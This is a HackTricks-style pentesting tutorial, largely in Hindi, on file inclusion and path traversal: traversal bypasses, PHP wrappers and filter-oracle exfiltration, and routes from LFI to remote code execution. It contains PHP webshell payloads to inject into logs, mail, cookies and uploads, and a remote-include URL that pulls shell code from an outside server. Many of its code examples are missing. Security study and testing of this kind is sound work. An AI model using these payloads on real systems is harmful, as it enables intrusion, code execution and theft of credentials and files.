File Inclusion/Path traversal
Last updated
Last updated
सीखें और अभ्यास करें AWS हैकिंग:HackTricks Training AWS Red Team Expert (ARTE) सीखें और अभ्यास करें GCP हैकिंग: HackTricks Training GCP Red Team Expert (GRTE)
HackenProof Discord सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
हैकिंग अंतर्दृष्टि हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
वास्तविक समय हैक समाचार वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
हमसे जुड़ें Discord पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
रिमोट फ़ाइल समावेश (RFI): फ़ाइल एक रिमोट सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा)। PHP में यह डिफ़ॉल्ट रूप से अक्षम है (allow_url_include)। लोकल फ़ाइल समावेश (LFI): सर्वर एक स्थानीय फ़ाइल लोड करता है।
कमजोरी तब होती है जब उपयोगकर्ता किसी न किसी तरीके से उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर द्वारा लोड किया जाने वाला है।
कमजोर PHP फ़ंक्शन: require, require_once, include, include_once
इस कमजोरी का शोषण करने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap
कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाई है:
/
को \
में बदलने की कोशिश करें
../../../../../
जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, यहां मिल सकती है।
विभिन्न शब्द सूचियों का संयोजन:
/
को \
में बदलने की कोशिश करें
C:/
को हटाने और ../../../../../
जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, यहां मिल सकती है।
लिनक्स की LFI सूची की जांच करें।
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\।
प्रदान किए गए स्ट्रिंग के अंत में अधिक वर्ण जोड़ने को बायपास करें (बायपास: $_GET['param']."php")
यह PHP 5.4 से हल किया गया है
आप डबल URL एन्कोड (और अन्य) जैसे गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
एक सर्वर की फ़ाइल प्रणाली को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
Determine Directory Depth: अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें /etc/passwd
फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर लिनक्स-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
फोल्डरों के लिए जांचें: संदिग्ध फोल्डर का नाम (जैसे, private
) URL में जोड़ें, फिर /etc/passwd
पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
परिणामों की व्याख्या करें: सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
त्रुटि / कोई आउटपुट नहीं: फ़ोल्डर private
संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
/etc/passwd
की सामग्री: private
फ़ोल्डर की उपस्थिति की पुष्टि होती है।
पुनरावृत्त अन्वेषण: खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए उसी तकनीक या पारंपरिक स्थानीय फ़ाइल समावेशन (LFI) विधियों का उपयोग करके आगे जांचा जा सकता है।
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या /var/www/
में एक private
निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
पथ ट्रंकशन एक विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को हेरफेर करने के लिए किया जाता है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा परिवर्तित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, और /etc/passwd/
सभी को एक ही पथ के रूप में माना जाता है।
जब अंतिम 6 वर्ण passwd
होते हैं, तो /
जोड़ने (जिससे यह passwd/
बनता है) से लक्षित फ़ाइल नहीं बदलती है।
इसी तरह, यदि .php
को फ़ाइल पथ में जोड़ा जाता है (जैसे shellcode.php
), तो अंत में /.
जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे पथ ट्रंकशन का उपयोग /etc/passwd
तक पहुँचने के लिए किया जा सकता है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना: ट्रैवर्सल अनुक्रम (../
) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
आवश्यक ट्रैवर्सल की संख्या निर्धारित करना: प्रयास और त्रुटि के माध्यम से, कोई भी ../
अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर /etc/passwd
तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे .php
) निष्क्रिय हो जाएं लेकिन इच्छित पथ (/etc/passwd
) बरकरार रहे।
एक नकली निर्देशिका से शुरू करना: पथ को एक गैर-मौजूद निर्देशिका (जैसे a/
) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
पथ ट्रंकेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
यह भेद्यता PHP 5.3 में ठीक की गई थी।
php में यह डिफ़ॉल्ट रूप से बंद है क्योंकि allow_url_include
Off है। इसे काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल कर सकते हैं और RCE प्राप्त कर सकते हैं:
यदि किसी कारणवश allow_url_include
On है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को filtering कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 का उपयोग करके b64 PHP कोड को डिकोड किया जा सकता है और RCE प्राप्त किया जा सकता है:
पिछले कोड में, अंतिम +.txt
जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो .txt
पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
एक और उदाहरण php://
प्रोटोकॉल का उपयोग नहीं करने वाला होगा:
पायथन में इस तरह के कोड में:
यदि उपयोगकर्ता file_name
के लिए पूर्ण पथ पास करता है, तो पिछला पथ बस हटा दिया जाता है:
यह दस्तावेज़ों के अनुसार इच्छित व्यवहार है:
यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और पूर्ण पथ घटक से जोड़ना जारी रहता है।
ऐसा लगता है कि यदि आपके पास जावा में एक पथ यात्रा है और आप एक फ़ाइल के बजाय एक निर्देशिका के लिए पूछते हैं, तो निर्देशिका की एक सूची लौटाई जाती है। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों के लिए संवेदनशील हो सकते हैं (से लिंक):
PHP फ़िल्टर डेटा पर संशोधन संचालन करने की अनुमति देते हैं इससे पहले कि इसे पढ़ा या लिखा जाए। फ़िल्टर की 5 श्रेणियाँ हैं:
string.rot13
string.toupper
string.tolower
string.strip_tags
: डेटा से टैग हटाएँ (सब कुछ "<" और ">" वर्णों के बीच)
ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: एक अलग एन्कोडिंग में परिवर्तित करता है(convert.iconv.<input_enc>.<output_enc>
)। सभी समर्थित एन्कोडिंग की सूची प्राप्त करने के लिए कंसोल में चलाएँ: iconv -l
convert.iconv.*
रूपांतरण फ़िल्टर का दुरुपयोग करके आप मनमाना पाठ उत्पन्न कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया को मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters।
zlib.deflate
: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी निकालना हो तो उपयोगी)
zlib.inflate
: डेटा को अनसंकुचित करें
mcrypt.*
: अप्रचलित
mdecrypt.*
: अप्रचलित
अन्य फ़िल्टर
php में चलाकर var_dump(stream_get_filters());
आप कुछ अप्रत्याशित फ़िल्टर पा सकते हैं:
consumed
dechunk
: HTTP चंक्ड एन्कोडिंग को उलटता है
convert.*
भाग "php://filter" केस संवेदनशील नहीं है
इस पोस्ट में एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर) पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग करके टेक्स्ट को इतना बड़ा बनाया जा सकता है कि php एक अपवाद फेंक दे।
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
UCS-4LE
कोडेक का उपयोग करें ताकि टेक्स्ट के अग्रणी वर्ण को शुरुआत में छोड़ दिया जाए और स्ट्रिंग का आकार तेजी से बढ़े।
इसका उपयोग एक इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही ढंग से अनुमानित किया जाए कि php एक त्रुटि उत्पन्न करेगा।
dechunk फ़िल्टर पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
convert.iconv.UNICODE.CP930 कोडेक हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर a
है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक का 6 बार उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
प्रारंभ में rot13 जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
अंतिम समस्या यह है कि कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए। क्रम मेमोरी फ़िल्टर जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
और अधिक डेटा प्राप्त करने के लिए विचार यह है कि प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें convert.iconv.UTF16.UTF16 के साथ, UCS-4LE लागू करें ताकि यह अगले 2 बाइट्स के साथ पिवट हो, और जंक डेटा तक डेटा को हटा दें (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते, तब तक ऐसा करते रहें।
पोस्ट में इसे स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: php_filters_chain_oracle_exploit।
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया ने खोले हैं। खोली गई फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
आप php://stdin, php://stdout और php://stderr का उपयोग file descriptors 0, 1 और 2 तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
एक PHPShell के साथ एक Zip या Rar फ़ाइल अपलोड करें और इसे एक्सेस करें। rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए।
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open
और allow_url_include
द्वारा प्रतिबंधित है।
Expect को सक्रिय करना होगा। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:
अपने पेलोड को POST पैरामीटर में निर्दिष्ट करें:
एक .phar
फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए include
जैसी फ़ंक्शंस का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक .phar
फ़ाइल बनाने का प्रदर्शन करता है:
.phar
फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड निष्पादित की जानी चाहिए:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
phar:// deserializationयह संभव था कि PHP से किसी भी मनमाने फ़ाइल को पढ़ने का दुरुपयोग किया जाए जो PHP फ़िल्टर का समर्थन करता है ताकि RCE प्राप्त किया जा सके। विस्तृत विवरण इस पोस्ट में पाया जा सकता है.
बहुत संक्षिप्त सारांश: PHP हीप में 3 बाइट ओवरफ्लो का दुरुपयोग किया गया था ताकि विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने के लिए किसी भी पते पर कुछ भी लिखने में सक्षम हो सके, इसलिए system
को कॉल करने के लिए एक हुक जोड़ा गया।
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक PHP फ़िल्टर का दुरुपयोग करके।
Check more possible protocols to include here:
php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
zlib:// — Compression Streams
glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
ssh2:// — Secure Shell 2
ogg:// — Audio streams (Not useful to read arbitrary files)
Local File Inclusion (LFI) जोखिम PHP में 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन सही तरीके से साफ नहीं किया गया है।
For example, PHP code might be designed to prevent directory traversal like so:
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
इसी तरह, मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
यह महत्वपूर्ण है कि इन पेलोड्स को URL-encode करें।
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए HackenProof Discord सर्वर में शामिल हों!
हैकिंग अंतर्दृष्टि हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
वास्तविक समय हैक समाचार वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
आज ही शीर्ष हैकर्स के साथ सहयोग शुरू करने के लिए Discord पर हमसे जुड़ें!
यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप PHP फ़ंक्शन के फ़ाइल पथ को नियंत्रित करते हैं जो एक फ़ाइल तक पहुँचता है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे file()
का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
इस अद्भुत पोस्ट में यह समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट करने के लिए दुरुपयोग किया जा सकता है।
संक्षेप में, तकनीक "UCS-4LE" एन्कोडिंग का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी बड़ी हो जाए कि फ़ाइल को खोलने वाला PHP फ़ंक्शन एक त्रुटि उत्पन्न करेगा।
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर dechunk
का उपयोग किया जाता है साथ ही अन्य जैसे base64 या rot13 और अंततः फ़िल्टर convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने के लिए किया जाता है।
संभावित कमजोर फ़ंक्शन: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (केवल लक्षित पढ़ने के लिए इस पर)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाँच करें!
पहले समझाया गया, इस लिंक का पालन करें.
यदि अपाचे या एनजिनक्स सर्वर LFI के लिए कमजोर है तो आप समावेश फ़ंक्शन के अंदर /var/log/apache2/access.log
या /var/log/nginx/access.log
तक पहुँचने की कोशिश कर सकते हैं, यूजर एजेंट के अंदर या एक GET पैरामीटर के अंदर एक php शेल जैसे <?php system($_GET['c']); ?>
सेट करें और उस फ़ाइल को शामिल करें
ध्यान दें कि यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं बजाय साधारण कोट्स के, तो डबल कोट्स को "quote;" स्ट्रिंग के लिए संशोधित किया जाएगा, PHP वहाँ एक त्रुटि फेंकेगा और कुछ और निष्पादित नहीं होगा।
इसके अलावा, सुनिश्चित करें कि आप पेलोड को सही ढंग से लिखें अन्यथा PHP हर बार लॉग फ़ाइल को लोड करने की कोशिश करते समय त्रुटि देगा और आपके पास दूसरा अवसर नहीं होगा।
यह अन्य लॉग में भी किया जा सकता है लेकिन सावधान रहें, लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर प्राधिकरण "बेसिक" में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है। अन्य संभावित लॉग पथ:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
एक मेल भेजें एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे <?php echo system($_REQUEST["cmd"]); ?>
और उपयोगकर्ता के मेल में शामिल करने का प्रयास करें एक पथ के साथ जैसे /var/mail/<USERNAME>
या /var/spool/mail/<USERNAME>
बहुत सारे शेल अपलोड करें (उदाहरण: 100)
शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)
एक लॉग फ़ाइल की तरह, User-Agent में payload भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस इसमें शेल पेलोड इंजेक्ट करें (जैसे: <?php system($_GET['c']); ?>
).
फाइल को पढ़ने योग्य रखने के लिए, चित्रों/doc/pdf के मेटाडेटा में इंजेक्ट करना सबसे अच्छा है।
एक PHP शेल संकुचित करने वाली ZIP फ़ाइल अपलोड करें और एक्सेस करें:
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है
PHP में ये सत्र /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में संग्रहीत होते हैं।
Set the cookie to <?php system('cat /etc/passwd');?>
LFI का उपयोग PHP सत्र फ़ाइल को शामिल करने के लिए करें
यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने की कोशिश करें।
FTP सर्वर vsftpd के लिए लॉग /var/log/vsftpd.log पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक एक्सपोज़्ड vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
इंजेक्शन के बाद, LFI का उपयोग करके /var/log/vsftpd.log से सर्वर लॉग प्राप्त करें।
जैसा कि इस लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
यह writeup बताता है कि आप php filters का उपयोग करके मनचाहा सामग्री आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप कोई भी php कोड उत्पन्न कर सकते हैं शामिल करने के लिए बिना इसे एक फ़ाइल में लिखे।
LFI2RCE via PHP Filtersएक फ़ाइल अपलोड करें जो /tmp
में अस्थायी के रूप में संग्रहीत होगी, फिर उसी अनुरोध में, एक सेगमेंटेशन फॉल्ट ट्रिगर करें, और फिर अस्थायी फ़ाइल नहीं हटेगी और आप इसके लिए खोज कर सकते हैं।
यदि आपने Local File Inclusion पाया है और Nginx PHP के सामने चल रहा है, तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:
LFI2RCE via Nginx temp filesयदि आपने Local File Inclusion पाया है, भले ही आपके पास कोई सत्र न हो और session.auto_start
Off
हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS
को multipart POST डेटा में प्रदान करते हैं, तो PHP आपके लिए सत्र सक्षम करेगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
यदि आपने Local File Inclusion पाया है और सर्वर Windows में चल रहा है, तो आप RCE प्राप्त कर सकते हैं:
LFI2RCE Via temp file uploadspearcmd.php
+ URL argsजैसा कि इस पोस्ट में समझाया गया है, स्क्रिप्ट /usr/local/lib/phppearcmd.php
डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में =
नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
निम्नलिखित अनुरोध /tmp/hello.php
में सामग्री <?=phpinfo()?>
के साथ एक फ़ाइल बनाता है:
यह एक CRLF कमजोरियों का दुरुपयोग करके RCE प्राप्त करता है (से यहाँ):
यदि आपने Local File Inclusion और एक फ़ाइल पाई है जो phpinfo() को file_uploads = on के साथ प्रदर्शित करती है, तो आप RCE प्राप्त कर सकते हैं:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Path Disclosureयदि आपने Local File Inclusion पाया है और आप temp फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर जांच रहा है कि शामिल की जाने वाली फ़ाइल में PHP मार्क्स हैं, तो आप इस Race Condition के साथ उस जांच को बायपास करने की कोशिश कर सकते हैं:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosureयदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP निष्पादन को लटकाने के लिए मजबूर कर सकते हैं, तो आप तब घंटों तक फ़ाइल नामों का ब्रूट फोर्स कर सकते हैं ताकि अस्थायी फ़ाइल मिल सके:
LFI2RCE via Eternal waitingयदि आप इनमें से कोई भी फ़ाइल शामिल करते हैं /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (आपको उस त्रुटि को फेंकने के लिए एक ही फ़ाइल को 2 बार शामिल करना होगा)।
मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन यह हो सकता है। भले ही आप PHP Fatal Error का कारण बनें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं।
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)